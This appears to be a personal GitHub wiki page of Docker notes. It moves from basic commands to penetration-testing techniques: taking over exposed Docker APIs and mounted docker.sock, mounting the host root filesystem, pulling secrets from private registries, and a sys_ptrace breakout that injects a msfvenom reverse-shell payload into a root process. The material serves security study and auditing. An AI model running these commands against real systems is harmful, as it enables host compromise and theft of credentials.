Docker notes - CraigDonkin/Infrastructure GitHub Wiki
Some of this is based on https://github.com/appsecco/attacking-and-auditing-docker-containers-and-kubernetes-clusters
- Engine
- client-server application
- server runs the daemon process dockerd
- listens for Docker API requests
- Manages Docker objects such as images, containers, networks and volumes
- REST API that programs use to talk to the daemon
- CLI docker command
- CLI uses the API
- commands are sent to dockerd
- server runs the daemon process dockerd
- client-server application
- Image
- Read only template with instructions for creating a container
- can be based on another image
- to build your own you need a Dockerfile that defines the steps needed to create and run the image.
- Container
- runable instance of an image
- create,start,stop,move,delete a container using API or CLI
- Connect to multiple networks, add storage to it
- contains everything needed to run an application
- Registry
- Repository of docker images
- docker pull or docker run commands pulls images and runs them from the configured registry
- docker push pushes an image to a configured registry
- Docker Hub
- Public repository
docker search image-name
-
docker search searches the docker hub for a public image
Docker checks if the image is available
-
pulls the image from the registry if it isn't available
-
runs the image locally
- Lists running containers
docker ps -a
- Lists docker images
docker images
- Runs a docker container
docker run ubuntu:latest
docker run --name {name} -it ubuntu:latest /bin/bash
- -i -t together is used for interactive processes like a shell
docker run --name {name} -d alpine:latest ping 127.0.0.1 -c 50
- -d command runs the container in the background
- stops a container
docker stop {container}
docker rm {container}
- Used to return information about docker objects
docker inspect <container>
docker inspect <imgage>
- Shows the history of an image
-
Configuration file
- FROM instruction specifies what the base image should be
- RUN specifies a command to execute
- CMD provide defaults for an executing container
-
Tool for defining and running multi-container docker apps
-
use a YAML file to configure app services
-
Single command can be sued to create and start all the services
-
Define the app's environment with a Dockerfile
-
Define the services in docker-compose.yml
-
run docker-compose up to start and run app
- Used for persisting data
- Lists the docker volume:
docker volume ls
- Create a docker volume:
docker volume create my-vol
- inspect a volume
docker volume inspect my-vol
- Delete a volume
docker volume rm my-vol
- If you start a container with a colume that does not exist, docker creates the volume
docker run -d --name test --mount source=myvol2,target=/app nginx:latest
-
bridge
- default
- used when your app run in standalone containers that need to communicate
-
host
- standalone containers
-
overlay
- connect multiple docker daemons together and enable swarm services to communicate
-
macvlan
- allow you to assign a mac address to a container, making it appear as a physical device
-
none
- disables all networking
-
List the current networks:
docker network ls
- Create a new network:
docker network create name
docker network create --driver bridge name
- Inspect a network:
docker network inspect bridge
- Group of machines that are running docker and joined in a cluster
- docker commands executed on a cluster by a swarm manager
- Management tool for Docker
- Manage docker hosts via web ui
docker run -d -p 9000:9000 --name portainer \
--restart always -v /var/run/docker.sock:/var/run/docker.sock \
-v /opt/portainer:/data portainer/portainer
- Docker creates a set of namespaces for a container
- Provides the isolated workspace called the container
- pid - process isolation
- net - manages network interfaces
- ipc - manages access to IPC
- mnt - manages filesystem mount points
- uts - isolates kernel and version identifiers
- user - isolates security-related identifiers
- By default docker containers are unprivileged
- privileged container is given access to all devices
docker run --privileged
- can loimit access to a specific device or devices with the --device flag
docker run --device/dev/snd:/dev/snd
- By default the container can read, write and mknod these devices
- Can be overwidden with :rwm options
docker run --device=/dev/sda:/dev/xvdc --rm -it ubuntu fdisk /dev/vdc
-
Docker has a list of capabilities that are kept
-
There are also capabilities which are not granted by default but could be added
-
You can add a capability with cap-add
docker run --cap-add=ALL
docker run --cap-add=WAKE_ALARM
- You can remove the capability with cap-drop
docker run --cap-drop=NET_RAW
- You can list capabilities with
capsh --print
- If you have access to the hosts docker runtime then
- This will execute commands as UID 0
- You can create a docker container with the / path
- create/read files on the host
- List running containers:
docker -H ip:2375 ps
- Look for stopped containers:
docker -H ip:2375 ps -a
- Look for images on the host machine
docker -H ip:2375 images
- Access a container
docker -H ip:2375 exec -it <container name> /bin/bash
- Access the host operating system:
docker -H ip:2375 run --rm -ti -v /:/mnt alpine chroot /mnt /bin/sh
This scenario is based on you first exploiting a weakness in an app running in a container, for example RCE on a node app.
- Once inside the container explore for post exploitation
- Check to see if docker.sock is available and mounted from the host:
ls -l /var/run/docker/sock
- This allows you to access the host docker service
- The owner of the docker.sock is root of the host where the container is running
- To access the host resource using the docker.sock socker run:
./docker -H unix:///var/run/docker.sock ps
./docker -H unix:///var/run/docker.sock images
- docker client will be in /root/docker
-
run containers with limited user privileges
-
run using rootless containers
-
use isolated instances for the required privileges
This scenario is based on a misconfigured docker instance with exposed TCP oirts on the network.
- The docker daemon can listen for API requests via tcp socket
- typically port 2375 for unencrypted and 2376 for encrypted communication
- Exploitation starts with scanning for these ports
- Then query the docker API
- The following command will list the images:
curl {ip}:2375/images/json | jq .
- You can also run the following to test CLI access:
docker -H <host>:<port> info
- Then try and connect to the docker runtime using the docker daemon
docker -H tcp://{IP}:2375 ps
docker -H tcp://{IP}:2375 images
- By default TCP port is not used anymore
- Don't expose TCP port to the network
-
Vulnerabilities might exist in base containers downloaded from dockerhub
-
Can check using https://vulners.com/audit
-
can use trivy https://github.com/aquasecurity/trivy
- Inspect containers for metadata and secrets
docker inspect <>
docker history <>
- Listing docker volumes:
docker volume ls
- Inspecting a docker volume
docker volume inspect <name>
- Listing docker networks:
docker network ls
- inspecting docker network
docker inspect <name>
If you have compromised a host which has docker volumes, run the inspect command, find the volumes and review the file contents for anything sensitive like hardcoded creds/keys etc
- Check the docker daemon configuration
docker system info
- Check to see if the docker API is exposed on 0.0.0.
sudo cat /lib/systemd/system/docker.service
- Check if docker registry is running:
curl -s http://localhost:5000/v2/_catalog | jq .
- Retrieve list of tags and versions of a docker image from the registry:
curl -s http://localhost:5000/v2/<name>/tags/list | jq .
- Download a registry image locally
docker pull localhost:5000/<name>
- Review the container for sensitive information
docker run --rm -it localhost:5000/<name> sh
This is where you exploit a container that has the sys_ptrace capability running with host PID namespace.
This allows a breakout of the container to the host system .
- Once you have access to a container list the capabilities
capsh --print
- Look for the sys_ptrace
- Run top to list the host processes
- Identify a host process that is running as root
ps auxxx | grep root
- inject and execute code from the address space of the host processes
- use linux injector
- Generate MSF payload
- Copy the payload and injector to the vulnerable container
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f raw -o payload.bin
- inject the the payload into the process
./injector pid payload.bin
- A docker swarm secret is a blog of data that should not be transmitted over a network such as a password
- When you add a secret to the swarm the secret is sent to the swarm manager over TLS
- Review:
/run/secrets/*
If an organisation is hosting a private registry you could download images from the registry and review them for secrets
- retrieve the catalog:
curl ip:5000/v2/_catalog
- Get the tags for the images:
curl ip:5000/v2/privatecode/tags/list
- add the inseucre-registry flag to download the docker image
vi /lib/systemd/system/docker.service
ExecStart=/usr/bin/dockerd -H fd:// --insecure-registry <ip>:5000
- Restart the service
sudo systemctl daemon-reload
sudo service docker restart
- Download an image from the registry
docker pull <ip>:5000/image-name
- Enter the container
docker run --rm -it ip:5000/image-name